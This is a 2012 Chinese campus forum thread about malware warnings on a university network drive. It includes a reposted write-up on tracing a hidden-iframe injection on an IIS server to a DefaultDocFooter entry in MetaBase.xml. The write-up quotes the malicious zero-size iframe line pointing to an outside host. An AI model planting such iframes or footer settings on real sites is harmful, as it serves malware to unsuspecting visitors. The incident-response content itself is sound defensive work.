请选择 进入手机版 | 继续访问电脑版
设为首页收藏本站资讯笑话
圈子家园应用排行文章新帖搜索公交查询店铺点评金山快盘实验室网盘教案管理DrCOM下载切换到宽版

127社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

用新浪微博连接

一步搞定

搜索
热搜: 在哪里那邮件 二手笔记本 FTP 隔离 邮箱激活 网络硬盘 电影 电脑答疑 放假通知 easy 营养学基础 五一 iis web临时会话 php 3+1 实习生 诺基亚 科创宽带 英语演讲比赛
查看: 66|回复: 2

[意见建议] 计算机网络管理中心网站有问题!

[复制链接]
花@殇  

2

主题

0

听众

40

积分

白丁

该用户从未签到

  • 收听TA
  • 发消息
发表于 2012-5-14 21:40:09 |显示全部楼层

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

立即注册 已有账号?点击登录 或者 用QQ帐号登录



计算机中心管理网盘存在问题寝室里进去时,杀毒软件提示有病毒,需下载什么软件补丁?而且不能进行上传下载,望管理员能速速解决此等问题!!

回复

使用道具 举报

小平  

345

主题

7

听众

8229

积分

网站编辑

  • TA的每日心情
    开心
    昨天 08:45
  • 签到天数: 8 天

    [LV.3]偶尔看看II

    • 收听TA
    • 发消息
    发表于 2012-5-14 21:50:10 |显示全部楼层

    谢谢,我也截获到了,已经联系管理员正在检查解决...
    学无止境,勇攀高峰!我们应该给予学生钥匙和打开知识宝库的方法,而不是宝库本身。
    回复 支持(0) 反对(0)

    使用道具 举报

    小平  

    345

    主题

    7

    听众

    8229

    积分

    网站编辑

  • TA的每日心情
    开心
    昨天 08:45
  • 签到天数: 8 天

    [LV.3]偶尔看看II

    • 收听TA
    • 发消息
    发表于 2012-5-14 22:00:58 |显示全部楼层

    Windows服务器下查IIS被挂iframe木马

    一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了
    <iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>
    这种样式的代码 有的在头部 有的在尾部 部分杀毒软件打开会报毒
    打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码
    分析原因
    首先怀疑ARP挂马,用防ARP的工具又没有发现有arp欺骗
    而且arp欺骗一般不会每次都被插入代码,而是时有时无
    而且使用http://127.0.0.1 或者http://localhost 访问的时候也可以找到这段代码
    arp欺骗的可能排除。
    然后就想到可能是JS被篡改,或者是其它的包含文件,查找后没有发现被改的页面 连新建的HTML页面浏览的时候也会被插入这段代码,那就只能是通过IIS挂上去的了。
    备份iis数据然后重装iis,代码消失,将备份的iis恢复,问题又来了。
    仔细寻找,问题应该出在IIS的配置文件上,打开配置文件,没有发现那段代码。
    那很有可能是调用了某个文件,这个怎么查啊,忽然想起了大名鼎鼎的Filemon
    本地载了一个上传到服务器上,打开Filemon,数据太多了,过滤掉一些没有用的
    只留下iis的进程,数据还是很多,看来服务器上的站点还是挺多人在访问的。
    关掉所有站点,建了一个测试站点anky 目录为D:\www\ 在下面建了一个空白页面test.htm
    访问一下这个页面代码被插进来了,再看一下Filemon 奇怪怎么读取C:\Inetpub\wwwroot\iisstart.htm
    打开C:\Inetpub\wwwroot\iisstart.htm一看,里面就躺着
    <iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>
    把代码删除了留空,访问test.htm 正常了,把C:\Inetpub\wwwroot\iisstart.htm删除了再访问
    test.htm 出现 “读取数据页脚文件出错”问题就出这里了,看来是调用了
    这个文件。
    把C:\Inetpub\wwwroot\iisstart.htm清空就正常了,这样怎么行,解决问题当然要连根拔掉。
    continue
    有没有可能是扩展造成的,到扩展中检查了一遍全部都是正常的
    当然 通过ISAPI 挂马的也是存在的
    左想右想最后还是觉得配置文件有问题
    打开配置文件,配置文件在%windir%\system32\inetsrv\MetaBase.xml
    用记事本打开,查找iisstart.htm 找到一行,开始以为是默认站点,后来一想不对啊
    默认站点都删除了,再仔细一看这句代码为
    DefaultDocFooter="FILE:C:\Inetpub\wwwroot\iisstart.htm"
    删除掉这一行,问题彻底解决了。
    学无止境,勇攀高峰!我们应该给予学生钥匙和打开知识宝库的方法,而不是宝库本身。
    回复 支持(0) 反对(0)

    使用道具 举报

    高级模式
    您需要登录后才可以回帖 登录 | 立即注册

    关闭

    站长推荐 /1

    淘宝网 京东商城

    手机客户端|Archiver|Dr.Com下载|自助广告位|127格子铺|127社区-师生的网上家园 ( 渝ICP备10016736号 )    

    GMT+8, 2012-6-15 03:40

    回顶部